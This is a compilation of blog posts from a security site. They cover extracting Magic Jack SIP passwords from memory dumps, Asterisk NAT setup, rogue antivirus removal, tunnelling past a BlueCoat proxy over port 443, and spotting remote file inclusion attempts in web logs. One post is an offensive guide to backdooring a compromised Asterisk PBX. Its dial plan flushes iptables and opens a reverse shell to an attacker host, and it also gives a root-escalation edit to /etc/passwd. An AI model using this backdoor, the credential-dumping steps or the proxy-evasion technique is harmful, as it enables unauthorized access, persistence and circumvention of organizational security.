What is it:

MJSIP is a simple Perl script written by a co-worker and myself. This script uses regular expression matching to automate the finding of your SIP password in the dump file.

MJSIP has been tested on over 50 Jacks that were purchased and registered this month (6/07/10). Each Magic Jack we tested worked flawlessly.

Though this tool has been tested and we have worked out many of the bugs there are two conditions that we are aware of that will cause MJSIP not to return a password back to you. The first condition is if you dumped the memory wrong using the SIPDump tool. The second condition is if your Magic Jack password contains the same letter or number more than 4 x in a row.

What is required:

MJSIP: Our Perl script. This can be downloaded here: http://www.digitaloffensive.com/mj/mjsip.zip

SIPDump: Magic Jack stores all your SIP information in the programs memory during the startup process. SIPDump is a modified version of MemDump, which was originally developed by Stroth. You can download this tool here: http://www.digitaloffensive.com/mj/mj.rar

Active Perl: This is a free windows port of the Perl interpreter. It can be downloaded her for the 32 bit or 64 bit processor: http://www.activestate.com/activeperl/downloads. Download the msi file and install it, choose all the defaults.

How to use it:

Step 1: Download and extract all your tools to a folder on your system. Working out of one folder will make life so much easier.

Step 2: Use SIPDump.exe to dump the Memory of your Magic Jack. If you need more details on how to do this check out my article on this located here: http://www.digitaloffensive.com/2010/03/hacking-the-magic-jack-in-2010-for-use-on-trixbox-or-any-other-sip-device/

Step3: Out of all the Magic Jack’s we have tested the 3^rd dump file was the most reliable at containing the password. I would strongly suggest you do not change that line in the MJSIP.pl file.

Step 4: Open a command prompt and navigate to the folder that you created that has all your tools in it. This folder should also contain you SIPDump files, unless you did not listen to my suggestions above. Once in that folder type the following command “perl mjsip.pl” This should dump your password to the screen.

If you found this tool helpful please feel free to either visit one of our sponsors or donate by clicking here.

If you have questions, concerns or ideas to automate more or add to it feel free to contact us.

Like most programs Asterisks offers the ability to launch system commands from with inside the application. This means it is possible for either a developer or a malicious person to execute system commands by simply editing the dial plan and making a phone call.

This is nothing new the ability to execute system commands from within an Asterisk based PBX has been around since it was first developed. A quick Google on the topic of “Asterisk system command” shows me that it has at least been documented since 2007 according to the article found here:

http://www.voip-info.org/wiki/index.php?page_id=166

This article goes into great detail explaining how to set this up. The article also points out how this is insecure and provides a few additional dial plans that can be used to help thwart this command from being abused.

My article is going to look at this from the malicious standpoint and how to create a true phone home.

So you have just popped a Linux box and noticed that is running Asterisk besides the normal mischief you can cause such as racking up long distance calls and recording conversations. Let’s make sure you can get back in any time you want by simply making a call.

Via Command line:

Step 1: Download and compile a copy of snetcat (http://snetcat.sourceforge.net/ ) locally. This is a secure free replacement to netcat (the good version that gave you the –e flag). This tool can be statically compiled and will work on any Linux based system. Once you do this you can host this file somewhere that you can easily access it later.

Step 2: Decide if you want to have root access via Asterisk. If so a simple trick would be to edit the /etc/passwd file and change your group and user number to 0:0 and save the file. Now the asterisk user will have the same level as root.

This is not needed to have fun with just the phone system.

Step 3: Depending on the system they are using for their PBX ie. PBX in a Flash, Trixbox or just straight asterisks will determine what file you need to edit to put your custom dial plan. In any system that uses FreePBX (PBX in a Flash, Trixbox and several others) any changes to the extensions.conf file will be overwritten and restored back to default by FreePBX so editing that file will not work. If the system is running FreePBX you will need to edit the extensions_custom.conf located in the /etc/asterisk/ directory.

Use your favorite editor to open the file and edit it. At the bottom of the file you will want to place the following dial plan:

[custom-backdoor] ; change name of course

exten => 9000,1,Playback(owned) ; not needed but cool when you place the call

exten => 9000,2,Wait(1)

exten => 9000,3,System(/sbin/iptables -F) ; flush iptables rules if there are any

exten =>9000,4,System(/var/tmp/.hidden/spipe –e /bin/bash iam.malicious.com 443) ; shovel shell back

exten => 9000,5,Goto(custom-backdoor,s,1)

exten => 9000,6,Hangup

Tips: Use a common port for your reverse shell to help defeat firewalls and proxies. The number 9000 is the extension you will use. Make sure it is something that is not already used. On the attacker side you will want to have a spipe connection listening for the reverse shell “./spipe –l 443”

Save this file and issue the command “asterisk -rx reload”

Step 4: At this point you system is now back doored and you should be able to call the extension and launch the reverse shell. This is useful for systems that use IVR’s that allows you to dial any extension. Or if you have found a week extension that you can register a soft phone with.

Stay tuned for more articles on this subject.

If you have any questions or concerns please feel free to contact me.

On most of the Asterisk based PBX forums on the internet one of the top help related questions posted is “the phone rings and I can answer it but there is no voice” or one of many variants of that question. The issue is most likely due to the fact you are running the PBX behind a NAT. Most likely your PBX is either behind your home router or your enterprise firewall and you are using a RFC 1918 IP address for it. You are also most likely either doing inbound port forwarding or one to one NATing depending on your firewall.

Let’s first look at what ports are required for your PBX system to work. These are the same ports if you have to port forward or if you do a 1 to 1 NAT and firewall rules. Remember if your PBX sits on your LAN these ports will already be available to other computers and phones on the LAN already. These are ports required for external inbound and outbound communications and administration.

I have based the ports in my article from the list here: http://pbxinaflash.org/Tutorials. If you compare my list below and theirs you will notice some ports not listed. My theory is to keep it simple and secure. If you are running an Asterisk based PBX in an enterprise or office environment I would suggest not allowing any of these ports inbound. If you need to administer your PBX you should use your company’s secure remote access solution if they have one.

22: TCP port 22 is SSH. It allows secure command line access to your box. Pros: the communication channel is secure. Cons: It is a default port and many people will try to brute force your username and password. I would not worry though if you are running PBX in a flash; their fail2ban will ban the IP of the person scanning your box. If you are running another system like Trixbox you can install BFD from: http://www.rfxn.com .

69: UDP port 69 is TFTP. Unless you have external phones such as a CISCO 7900 series or any other IP based phone that needs to TFTP a configuration from the PBX this is not required externally and should not be opened.

80: TCP port 80 is http. This is required for web based administration. This can be replaced with TCP port 443 for secure web based administration if you have a SSL certificate installed. Pros: Almost all ISP’s allow this port in and out making it a reliable method for administration. If your ISP does not allow port 80 inbound you can change this to another port like 9080. Cons: It is a common port and provides information to a potential attacker about what is running on that server. A potential attacker could try to brute force the username and password or if an administrator did not change the default username and passwords they can use them to access the system. In PBX in a Flash Fail2ban will block brute force attacks and ban the offending IP address.

443: TCP port 443 is https. This will provide secure web based administration if you have a SSL certificate installed. Unless you have a certificate I would not bother opening this port.

4445: TCP port 4445 is used for the FOP (Flash Operator Panel). My system is home based and I do not require external access to this. Unless you are running a larger system and your phone administrators need access I would not open this. There are more secure ways to give them access to this feature such as through a SSL VPN or Citrix.

4569: UDP port 4569 is iax2. This port is required only if you are using the iax2 protocol for your PBX’s communications.

5000-5082: UDP ports used for SIP conversations. This is extremely important if you are using the SIP protocol for communications and most of you reading this probably are.

5038: TCP port 5038 is AstMgr. This port should be opened and not altered.

10000-20000: UDP ports used for SIP calls.

Now that you have all the required ports open for your environment it is now time to get over the hurdle of NAT. If everything above has been done correctly and your PBX has already been configured with trunks, routes, and extensions you should be able to place and receive calls at this point. If not please correct that issue before continuing as the issues with NAT usually come into play when you try to extend the functionality of your PBX system to outside your LAN, such as call forwarding to a outside number.

Since Asterisk based PBX systems that have FreePBX installed with them do not allow you to edit the main Asterisk configuration files you will need to edit the “sip_general_custom.conf” file and make your changes in there.

Steps:

1. Login into your PBX via command line.
2. Use your favorite Linux text editor to open the file /etc/asterisk/sip_general_custom.conf
3. Copy the lines below and make the appropriate changes. Then paste it into the config:

rtptimeout=120

externhost=FQDN or External IP of the PBX

externrefresh=120

nat=yes

localnet=192.168.0.0/255.255.255.0 <–LAN IP and netmask

1. Save the file
2. At the command prompt enter the command “asterisk –r”. This will bring you into the asterisk console.
3. In the console enter the command “reload”
4. Once the system reloads exit the session.

At this point you should now be able to overcome the issues you were having due to the NAT such as no voice in calls and call forwarding. I have tested this on my home PBX system running PBX in a Flash and this solution works like a charm. If you have any questions comments or concerns please feel free to ask me.

The concept and art of hacking the Magic Jack is actually really old. The reason I am writing this is that over the last year the process has become much harder. There is definitely ample information available online that if you were to spend weeks reading you could easily do this. But who wants to read through countless forums post trying each way to hack it only to find that way no longer works. Like you, I want the answer and I want it now.

Chapters:

1. Who wrote this document.
2. What is the Magic Jack.
3. Why did I buy it and my buying experience.
4. Required tools and knowledge.
5. Setup and registration of your Magic Jack.
6. Get SIP info and Proxy info.
7. Testing settings and using other SIP clients.
8. Configuring Trixbox

Who wrote this:

This document contains the ideas of many but has been written, tested, added to and compiled into one body of knowledge by the team of Security professionals at http://www.digitaloffensive.com. Resale, trading, or hosting of this document is against the law and violators will be prosecuted. This document is for educational use only and the team at http://www.digitaloffensive.com does not take any responsibility for your use of this document or the effects it may have on your systems or Magic Jack account.

What is the Magic Jack:

The Magic Jack is a small USB dongle that plugs into a computer and telephone to provide the end user a low cost phone service through the power of VoIP and ads. There are many thoughts on this product some good and many bad. Many people believe this product to be riddled with spyware based on their poorly worded TOS that you must accept to use and the ads you are forced to see when using their soft phone. I am under the assumption that anything I install on my computer could possibly spy on me and I assume that risk. With that out of the way I leave it up to you to decide if you want to try this product or not.

Why did I buy it and my buying experience:

Several days ago I ordered a Magic Jack. My reason for ordering a Magic Jack was to use it as a part of my Trixbox VoIP system. I read this can be done and it looked real easy to do. Lucky for me they were offering a free 30 day trial. The free 30 day trial is actually free though they put a hold on your credit card for 46.00 + change this includes the shipping cost, the USB dongle and 1 year of service. The whole process felt fishy to me but I figured even if I was to get ripped off it was under $50.00 and would provide a good learning experience as well as give me something to write about. It took less than 5 days to get my Magic Jack sent to me.

During the research I did I found that the older versions of the Magic Jacks before the recent upgrades were easier to hack and to get the SIP information off of. So when I ordered this I was hoping that it would arrive in one of those vacuum packed plastic cases that take close to an act of God to open. My thought process was that if it came sealed like that it might have been sitting on the shelf for some time and not contain the most recent updates, making it easier to hack. But no, mine came in a foam holder like a glorified AOL DVD. I decided to first try to install it on a computer with no internet connection so I can view the files on the Magic Jack and maybe figure a way to disable the auto updates. This was fruitless because as soon as it detected there was no internet it would not install. So I moved the USB to another computer with internet access and enabled windows firewall in hopes that it would stop the Magic Jack from auto running and updating itself. I was wrong. It ran and automatically updated itself to version 2/18/10. I was about to ship it back ASAP, but I got to say this little device looks cool and I wanted to play.

Required Tools and Knowledge:

We will need to download several tools to get started. I suggest that you create a folder on your desktop and extract all the files to the folder you created as they all will be used together.

1. Magic Jack: http://www.magicjack.com.
2. Stroths MJ Utilities Suite v 1.6 from this link: http://magicjackhacks.com/downloads/MagicJack_Utilitieswsip.zip . This suite was once used to be able to pull the SIP information off your Magic Jack. Even though this feature no longer works with newer Magic Jacks, this suite provides other useful tools that we will need.
3. SIPDump.exe: This file is not normally included in the suite above, but the URL above has a copy of it in the zip file. The Magic Jack stores the SIP info in memory. This is the most important tool and will be used to dump the password and SIP info out of memory.
4. MJMD5: http://magicjackhacks.com/downloads/MJMD5.exe . This is a windows proxy that will allow us to use other thin clients and soft phones, such as xlite, without needing the actual USB dongle. This is also good for those that want to use the iphone or other wifi enabled phones. This is needed since Magic Jack has altered how it handles SIP and basically adds a hash to each packet. This tool will add the hash and the proper syntax information. I use this tool to test my Magic Jacks to make sure that the SIP information I pulled off is correct.
5. WireShark: http://www.wireshark.org/download.html . WireShark is a packet sniffer and will be useful in figuring out what Magic Jack proxy we are using. It is also capable of capturing VoIP calls and compiling them so you can listen to other people’s calls.
6. Notepad ++: http://sourceforge.net/projects/notepad-plus/files/. Notepad ++ is a replacement for Notepad. It keeps the formatting of files, adds line number, and is able to open large files without crashing and many other cool features. This will be needed to open the memory dump files. Though it is possible to use Notepad or Wordpad to do the same on faster computers.
7. Xlite: http://www.counterpath.com/xlite-comparison.html .This is a soft phone that we will for testing our credentials. You can use any soft phone you want or any SIP client you want for testing, such as an iPhone. Though I will use this one for the article. The current 3.0 code of the Xlite application does not require you to sue the MJMD5 proxy as it uses md5 to encrypt your password already.
8. Windows firewall, Antivirus Firewalls, Software Firewalls, and or Hardware firewalls: Make sure these are disabled as this adds to the trouble shooting. Or open up your system to allow all outbound connections and inbound connections (UDP is not stateful) for the testing. If you are worried about your security please Google 1 to 1 NAT or PAT’s and create a policy that way.
9. MJProxy: http://www.digitaloffensive.com/mjproxy.c.tar.gz Linux Magic Jack Proxy. This is like the MJMD5 proxy but for Linux.
10. Trixbox: http://www.trixbox.org/downloads (or any other asterisk system you feel comfortable with). An easy to use asterisk system widely used in the community.

Besides the tools listed above you will need the following:

1. Patience: This is key in doing this. If you think you are going to run a few commands and get the goods you are wrong.
2. 2. Computer Skills: If you do not have basic to intermediate computer skills and the ability to follow directions, just stop now.
3. 3. Linux Skills: If you plan to use this as part of your Asterisk, Trixbox, Free PBX and so on systems.

Setup and Registration of your Magic Jack:

So let’s get started. The first thing you will need to do is put your Magic Jack in the USB and register your Magic Jack. This will walk you through upgrading the Magic Jack firmware, setting up your Magic Jack account, setting up E911 and obtaining a telephone number. Be warned that during the whole process they try to sell you additional services, so be careful where you click. Once you have completed your Magic Jack setup, I would use their soft phone to make a test call to verify everything is working before continuing. This will help eliminate additional troubleshooting steps if there is a problem later on in this article. If you do not have a phone to plug into the Magic Jack, go to “menu” tab and choose headset, this will allow you to use your computer speaker and mic. Once you have done this place a call to someone. I called my cell phone to test, so I would not bother any one while I went through the rest of the setup and tests.

Get SIP Info and Proxy Info

I do not guarantee this will work and doing this may get your account terminated.

Now that we have a working Magic Jack we can start the process of trying to get the SIP info from the Magic Jack. Most of you already know that the Magic Jack stores its SIP info temporarily in memory on initial start up, so for us to get this information we will need to dump the memory and look through the output for the password. To do this we will use the SIPDump.exe that we have downloaded earlier.

Timing is everything on this step and it may need to be repeated several times to get the information you need.

Timing is everything on this step and it may need to be repeated several times to get the information you need.

1.Open the SIPDump.exe and set the dumps to 4. DO NOT HIT OK YET.

Click for a larger image

2. Next start up your Magic Jack software, either unplug it and plug it back in or go the drive and select autorun.exe.

3. When you see it starts to load and see the ad on the left hand side start to show click ok on the SIPDump.exe.

Click for a larger image

4. This will dump the memory into 4 dump files and stop Magic Jack. These dump files will be located in the directory where you ran SIPDump.exe from and be called SIPDump1-4. Each file must be a minimum size of 22,000 KB. If they are not please try again. We have found the password in smaller sized files but for some reason the Magic Jack do not work in the following steps.

Click for a larger image

5. Now open the first SIPDump file and search for the EXACT phrase “SIP.Connection.Refresh” without the quotes. There should be only one instance of this phrase and your password should be located within a few lines above and or below it. Many articles on this say your password will be 20 characters, mine however is 21 characters. I also found mine in the second SIPDump file along with my SIP username which is still the standard E_your_number_01@talk4free.com.

Click for a larger image

6. At this point we have our SIP username and password. We now need to get the proxy address that our Magic Jack is using. It will be in the format of proxy01.xxx.talk4free.com, where the xxx is the city where your proxy is. To do this I used WireShark. Since WireShark is not what this article is about, I will provide you with a high level instruction on how to use it to get what we need. Side note I know there are easier ways to do this but they are not as reliable. I also understand there are other ways to get this info out of WireShark but I am keeping it simple so the end user does not have to go through tons of packet capture to get what they need.

a. Open WireShark. Once it is open click on Capture à Interfaces à Then the interface that is handling your networking and internet. This will also most likely be the only interface that has packets. Once you determine the interface to use choose start.

Click for a larger image

b. Once you start the capture start your Magic Jack and place a call to your test number. This will generate VOIP traffic that WireShark will capture and save. Once your test number answers or you get voicemail, hang up and stop the capture.

c. Now that you have the packets, let’s find the VOIP info. To do this click on Statistics and then on VoIP Calls.

Click for a larger image

d. This will launch another window showing your call info:

Click for a larger image

e. As you can see from the image above we have detected 1 VOIP call. From this screen we can Graph the call details or actually play the call back and listen to the conversation. Though playing the call back is cool is not what we need to continue. Click on “Graph”

Click for a larger image

f. This IP will vary based on where you live. To get the Fully Qualified Domain name (FQDN) we will open a command prompt and type “ping –a <IP from above>”

Click for a larger image

g. We now have all the required SIP information

i. SIP username: Etelephone-number01

ii. Password: L123456789101112133G (not a real password)

iii. Proxy: proxy01.philadelphia.talk4free.com

Testing settings and using other SIP Clients:

Now that we have our SIP info, we want to test it to make sure we gathered all the correct information. To do this we will use the MJMD5 tool. This tool is a proxy server that we will send all our VOIP traffic through. This is needed since Magic Jack alters how the packets are sent by adding a hash to them. This tool will add the hash to the packet then send it.

1. Start MJMD5.exe and fill in the proxy and the password field and press start:

2. Now that the proxy is running, let’s open our Xlite soft phone application and add a new SIP Account. To do this launch the application and right click on the status window –> Choose SIP account settings –> Add. Display Name: Can be anything you want. User Name: Must be your SIP user name. Password: must be the password that we got from the dump. Authorization user name: must be the SIP user name. Domain: is the IP address of the computer you are running the MJMD5 proxy on :5070 (The SIP Port). To get the IP of your machine go to a command prompt and type ipconfig and press enter. Make sure the rest of the settings are checked as you see in the image below. Then hit save and go back to the application.

Click for a larger image

3. The moment of truth: If you have followed all the directions above and got the correct proxy, password and username you should see the following displayed on the Xlite soft phone and you should be able to place a call without the Magic Jack plugged in.

Click for a larger image

4. Testing outbound call

Click for a larger image

5. Testing incoming calls

Click for a larger image

6. Now that we know that the SIP information we gathered is correct, we can use it for countless things.

a. For example you can use a service like http://www.afraid.org to register a sub domain for free that points to your home IP address. On your home firewall you can setup a rule to allow 5070 inbound and create a network address translation. This will allow you to use any wireless device with a SIP client to connect to your home computer running the MJMD5 proxy and make free calls.

b. Or you can setup your own PBX, like Trixbox

Setting up your own PBX using Trixbox

This section requires that you have knowledge of the Linux operating system or are willing to spend the time to learn as you go. If this is you then please continue on.

Before you start you will need a copy of Trixbox installed and ready to go. To obtain an ISO of Trixbox go to http://www.trixbox.org/downloads and download it. Once it is done downloading burn the ISO to CD and install. Trixbox should be installed on a system with a minimum hardware of 40gig hard drive, 512 MB of memory and a network card. This configuration should support a small office or home setup.

During the creation of trunks, routes and extensions if I do not mention a field you are to leave the default value unless you want to play with settings at which point you are on your own for making this work.

Installing MJProxy:

MJProxy is a program written in c to manipulate your SIP traffic into the Magic Jack required format and pass it to and from the Magic Jack servers and your PBX.

1. Login as root to your Tribox system

2. Install the c compiler: yum –y install gcc

3. Download mjproxy source: wget http://www.digitaloffensive.com/mjproxy.c.tar.gz

4. Extract the mjproxy source and libraries: tar –zxvf mjproxy.c.tar.gz

5. Compile the mjproxy source to an executable: gcc -o mjproxy md5.c mjproxy.c

6. Give it rights to run and execute: chmod 777 mjproxy

7. Run the mjproxy: ./mjproxy 0.0.0.0 5070 proxy01.yoursite.talk4free.com 5070 your_password

a. To run multiple Magic Jacks you can either use a virtual IP on your interface or replace the 0.0.0.0 with a dedicated IP. The 0.0.0.0 means to listen on all IP’s. Or you can change the first instance of 5070 to the next highest number i.e. 5071. I would suggest a combination of both as to not to confuse inbound and outbound calls.

b. You can also place this as a service or create a shell script to execute all your Magic Jack proxies.

8. Issue a ps –wuax to make sure the mjproxy process is running

Logging into Trixbox web gui:

1. Login to the web gui http://IP_address of your Trixbox install and click switch in the upper right hand cornor. This will switch you from user mode to maintaince mode. By default the login is maint / password. To change this log into the console with the root account and issue the command passwd-maint and follow the instructions.

2. Once logged in either fill out or ignore the Trixbox registration screen. This is not required but can’t hurt.

3. At this point you can start your configuration.

Update your system:

1. Click on PBX settings

2. On the left hand side click “Module admin”.

3. Click on “Check for updates online”.

4. Click on “Upgrade all”.

5. Click on “Download all”.

6. Then ok, this will start the downloads, the upgrades and will then prompt to reload the system.

Configuring a Trixbox Trunk:

1. Click on “PBX Settings”

2. Click on “Trunks”

3. Choose “Add a SIP Trunk”

4. Leave “General Settings” blank

5. Under “Outgoing Settings” fill out the following

a. Trunk Name: Magic Jack (or anything you want)

b. Peer details:

username=EXXXXXXXXXX01 (your SIP username)

type=friend

secret=LXXXXXXXXXXXXXXX (Your SIP Password)

qualify=2000

port=5070

nat=no

host=XXX.XXX.XXX.XXX (The IP address of your trixbox)

fromuser= EXXXXXXXXXX01 (your SIP username)

dtmfmode=inband

insecure=very

context=from-pstn

6. Under Incoming settings erase everything out of the fields.

7. Under registration fill it in as follows with the information from the Peer Details:

a. SIP username:SIP password@Trixbox IP:5070/Your 10 digit telephone number

b. Ex. EXXXXXXXXXX01: LXXXXXXXXXXXXXXX@xxx.xxx.xxx.xxx:5070/7175555555

8. Click “Submit changes”

9. Click on “Apply changes”

10. Click on “reload”

Click for a larger image

Click for a larger image

Click for a larger image

When you click on the PBX settings button you will see the following if you created the trunk correctly and if it registered:

IP Trunks Online 1

IP Trunk Registrations 1

If this did not work you can use tail –f 10 /var/log/asterisk/full on the command line to view your logs for errors. If you did not test your SIP settings as I outlined above please go back and use xlite to verify they are correct then try rebuilding the trunk again. If you are still having issues I am available for a hourly rate to trouble shoot and correct or you can use Google.

Creating an outbound route:

1. Click on “PBX Settings”

2. Click on “Outbound Routes”

3. Click “Add route”

4. Route Name: Magic-out (Or whatever you want to name it)

5. For Dial Patterns use the wizard and select 7 digits and 10 digits dialing unless you want to setup some special dialing which if you do you are on your own for this article.

6. For “Trunk Sequence” choose the trunk you just created.

7. Click “Submit changes”

8. Click on “Apply changes”

9. Click on “reload

Click for a larger image

Creating an Extension:

1. Click on “PBX Settings”

2. Click on “Extensions”

3. Choose “Generic SIP Device”

4. Under “User Extension” enter an extension in a numeric format i.e. 101.

5. Under “SIP Alias” enter the same number you used for the extension.

6. Under “Secret” enter a min 6 character password the longer and more complex the better.

7. Click “Submit changes”

8. Click on “Apply changes”

9. Click on “reload

This will create a basic extension. Under this setting you can also configure your extensions voicemail and caller ID, but we are keeping this basic for now.

Creating an Incoming route:

1. Click “PBX Settings”

2. Click “Inbound Routes”

3. Click “Add route”

4. Under “Description” enter Magic-in (or other name you want)

5. Under “DID Number” enter your 10 digit Magic Jack number.

6. Under “Set Destination” choose “Extension” and select the extension you just created

7. Click “Submit changes”

8. Click on “Apply changes”

9. Click on “reload”

Once all these steps are completed you can configure your smart phone and test. If you are using xlite as your soft phone use the settings you used in the extension creation for your settings in xlite. Or if you are using a different IP phone such as Cisco follow the manufactures directions to configure it.

Simple Troubleshooting of your Trixbox:

Asterisk stores all of its events in one log fill called full located in /var/log/asterisk/ to view the log in real time you will need to log in to your Trixbox via shell access as root. Once you are logged into the box issue the command tail –f 10 /var/log/asterisk/full . This will scroll the last 10 lines of the log and any new log entries. Common errors that you will find here is incorrect authentication or issues with registration of the trunk. These are the two biggest issues I have run into while configuring Magic Jack to work with Trixbox. If you see any errors in the log you can simply Google them for detailed answers.

Services / Help:

If you bought this document and still cannot get your Magic Jack to work I will provide discounted hourly fees to help you to get yours working. I charge 100 dollars a day, with a 1 day minimum. I require you to ship your Magic Jack or Magic Jacks to me with a tracking number and provide return shipping with tracking as well. Your best bet is to send me the sealed Magic Jacks with the email address you want associated to them as well as the area code you want and let me do them from scratch.

If you want me to configure Trixbox system to use your Magic Jacks I will also require remote access to your machines as well as the usernames and passwords to your system. The fee for Trixbox configuration is an additional 30.00 dollars per day.

As mention above I will give a discount of 25.00 per day to anyone that bought this document and could not get this working based on information I provided and not due error or lack of ability on their side. I will review everything before accepting work and I do not guarantee anything.

Vista 2010 is a rogue anti-virus program that is usually advertised through the use of pop ups and fake security alerts that state that your computer is infected and that you should run an online anti-malware scan. Once the rogue program is installed, it will claim to scan your computer for malware and display a list of false threats just to confirm that your computer is infected with malware (usually Trojans and computer worms). Then it will ask you to pay for a full version of the program in order to remove the threats which as we already know don’t even exist. Most importantly, don’t buy it. If you did, then please contact your credit card company and dispute the charges.

Though this piece of malicious code is extremely annoying it is also very easy to remove. I have put a kit together for quick download to remediate this issue. The kit includes a custom batch file called avkill that will loop looking for the process av.exe and kill it automatically. This will allow you to execute other tools to remove the virus. It also includes a registry fix to remove the changes it makes to the registry. The file is called fix.reg and contains the following information:

Windows Registry Editor Version 5.00

[-HKEY_CURRENT_USER\Software\Classes\.exe]

[-HKEY_CURRENT_USER\Software\Classes\secfile]

[-HKEY_CLASSES_ROOT\secfile]

[-HKEY_CLASSES_ROOT\.exe\shell\open\command]

[HKEY_CLASSES_ROOT\.exe]

@=”exefile”

“Content Type”=”application/x-msdownload”

To download the kit go to http://www.digitaloffensive.com/files/av2010.zip

The first thing you need to do is to extract the kit and open the avkill executable. This will stop the av.exe process that is associated with this virus. Once that is running just minimize it and let it continue to run. Then either use regedit or just double click the fix.reg file to remove the virus from your registry and to stop it from restarting. Once this is done successfully you can now stop the avkill executable. This process will stop the virus from running. Once it is stopped we suggest you go to http://www.malwarebytes.org/ and download their free scanner to remove the actual malicious files from your system.

If you have any questions or concerns please feel free to contact me.

Several months ago an organization I work for implemented BlueCoat Web Proxy but they did not purchase a SSL offload card (required for organizations of our size as a license alone would bog down the rest of the box) or a SSL License. This basically limited the ability for us to filter anything on port 443 unless we knew the IP to set in policy to block since the page was encrypted and we could not decrypt the packet to apply policy.

This limitation creates a security concern because it allows users to use secure protocols to bypass policies. For example most likely your organization has a policy that blocks you from going to internet based email such as Gmail, Yahoo and so on. Well thanks to Gmail for worrying about its user’s security and privacy we can now bypass the BlueCoat Web Proxy. If we go to https://mail.google.com the BlueCoat Web proxy will not see that as a mail site as the URL will be translated to an IP and the packets are encrypted. The other benefit of Gmail is that it will not redirect you to any http it makes sure if you choose https it will not redirect you back to http unlike Yahoo, who redirects you from https at the login to http once you get sent to your mailbox. You can use this method for any https site that does not any time redirect you to http. Side note many sites are not as big as Google so blocking their IP range to stop you from bypassing the BlueCoat web proxy may be easier.

The next issue is since https is required by most companies to be able to carry out a normal work day there is most likely a firewall rule in the organization that reads as follows: source: BlueCoat Web Proxy IP –> destination: Any –> service: http and https.  This rule basically says anyone going out as the web proxy is allowed to any destination on either port 80 or 443. Since the BlueCoat does not act as application proxy meaning it does not analyze the protocols you can use open ports to tunnel any application over. For example since the BlueCoat our organization has (most schools and smaller shops don’t have this either) does not have a SSL offload card and a SSL license and port 443 is open I can take advantage of this to bypass security. For example I have altered my SSH daemon at home to listen on port 443 instead of the default port of 22. This allows me to circumvent both the Web Proxy and the Firewall. This happens for several reasons 1^st because the BlueCoat web proxy cannot analyze the https request, 2^nd the BlueCoat web proxy does not act as a application proxy and third since we are using port 443 and the proxy is configured to intercept port 443 our traffic is leaving the organization as that of the proxy hence making use of the firewall rule to allow us anywhere on the internet on that port.  Many applications that connect to the internet on certain ports can be configured to use whatever port you want. For example it is possible to configure your favorite instant messenger application such as AIM or Yahoo to make connections outbound over port 443 hence bypassing the controls put in place.

Now if you are an administrator of the BlueCoat you can detect people doing this slightly by reviewing the BlueCoat reporter logs. These connections will show as IP addresses and have the category TCP Tunnel. If you look at the IP addresses closely you can get an idea of what they are being used for. To do this you can use tools like arin.net or even Google to search for information related to that IP.  You can also check the employee’s machine for applications that are not installed by your organization. This is a manual process and may cost more man hours then it would cost to purchase a SSL License and if need be a SSL offload card.

This technique may be able to be used on other proxies though I have not tested it on any. As always if you have any comments or questions please feel free to contact me.

Edit Note: I want to thank Tim C: For the update and clarification on the card name and required license.

Some people use Google and Google hacking Database to find their targets and others use their own servers to find potential compromised boxes.

In this quick little update I am going to give you a basic idea on how to use your web server’s access logs to help find compromised hosts on the internet. I will be referencing Linux mostly but the same concept would be doable on a Windows IIS server as well.

On my webhost I am running CPanel for site management / server management. CPanel provides the ability to access the raw logs through the portal. These raw logs are almost the same as the access_logs you would find in a standard Apache setup on Linux. If you are running windows please refer to your IIS access logs and make sure they are configure to display the proper options so you can see the requested URL.

The logs of your web server contain a lot of useful information. It can help you diagnose site and server issues, help to see the type of traffic you are getting (ideal for SEO and marketing), help pin point possible attacks against your sites as well as slew of other bits of useful information.

But we are going to use this article to discuss using them to find potential compromised hosts.

Let’s take a look at a sample log:

72.x.x.x – - [26/Jan/2010:04:36:31 -0600] “GET /feed/ HTTP/1.1″ 304 – “-” “Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 5 subscribers; feed-id=16402550693898658203)”

76.12.124.76 – - [26/Jan/2010:04:40:38 -0600] “GET /?DOCUMENT_ROOT=http://site_blanked.com/osCommerce/catalog/images/baner.txt?? HTTP/1.1″ 301 – “-” “Mozilla/5.0″

76.12.124.76 – - [26/Jan/2010:04:40:38 -0600] “GET /?DOCUMENT_ROOT=http://site_blanked.com/osCommerce/catalog/images/baner.txt?? HTTP/1.1″ 403 82481 “-” “Mozilla/5.0″

193.x.x.x – - [26/Jan/2010:04:53:53 -0600] “GET /robots.txt HTTP/1.1″ 200 24 “-” “Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)”

72.x.x.x – - [26/Jan/2010:05:02:49 -0600] “GET /feed/ HTTP/1.1″ 200 73246 “http://www.digitaloffensive.com/feed/” “Mozilla/5.0 (Compatible)”

77.x.x.x – - [26/Jan/2010:05:07:01 -0600] “GET /2009/10/c99-and-variant-php-shell-detection-quarantine-and-removal/insert_adhere_url_here HTTP/1.1″ 404 10329 “-” “Yandex/1.01.001 (compatible; Win16; I)”

92.x.x.x – - [26/Jan/2010:05:30:12 -0600] “GET /2009/09/fun-with-poison-ivy/ HTTP/1.1″ 200 18062 “http://www.google.com/search?hl=en&safe=off&q=poison+ivy+mutex&aq=f&aql=&aqi=&oq=” “Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.5.30729)”

As you can see above we have several different visitor types. There are several spiders / bots that came by the site as well as several visitors from search engines such as Google. Though the two entries we want to look at closer are the entries that start with:

76.12.124.76 – - [26/Jan/2010:04:40:38 -0600]

This shows that access was attempted to the URL:

/?DOCUMENT_ROOT=http://site_blanked.com/osCommerce/catalog/images/baner.txt??.

In this attempt the attacker was trying to use the remote file inclusion attack that I mentioned above. If I Google the SRC IP. I find that is a known malicious site used for automated scanning and distribution of malware. Though the part where it says ROOT= ROOT=http://site_blanked.com/osCommerce/catalog/images/baner.txt?? is why you guys are here.  If you visit this URL directly you will see that the attacker uploaded the following defacement code (WARNING:Going to these URL’s may cause damage to your computer) :

<?php /* Fx29ID */ echo(“FeeL”.”CoMz”); die(“FeeL”.”CoMz”); /* Fx29ID */ ?>

Basically this code would get rendered into the remote host via the remote file inclusion defacing the site to show his tag. It will then use the php command die to stop the rest of the page from loading only showing their tag.

Now if we were malicious we could use Google or your favorite security site to research known vulnerabilities for osCommerce to compromise the site as well. You could also do additional research on the site to help gain more of a idea of how the attack was carried out and maybe even the version of the software they are running be it osCommerce or something else like phpBB.

Though since we are good folks we will contact the site owners and let them know about the compromise. We also blocked the blocked the source IP address as well.

If you want to quickly analyze your logs for things like this I would suggest using a little command line fu on your favorite Linux distribution. For example:

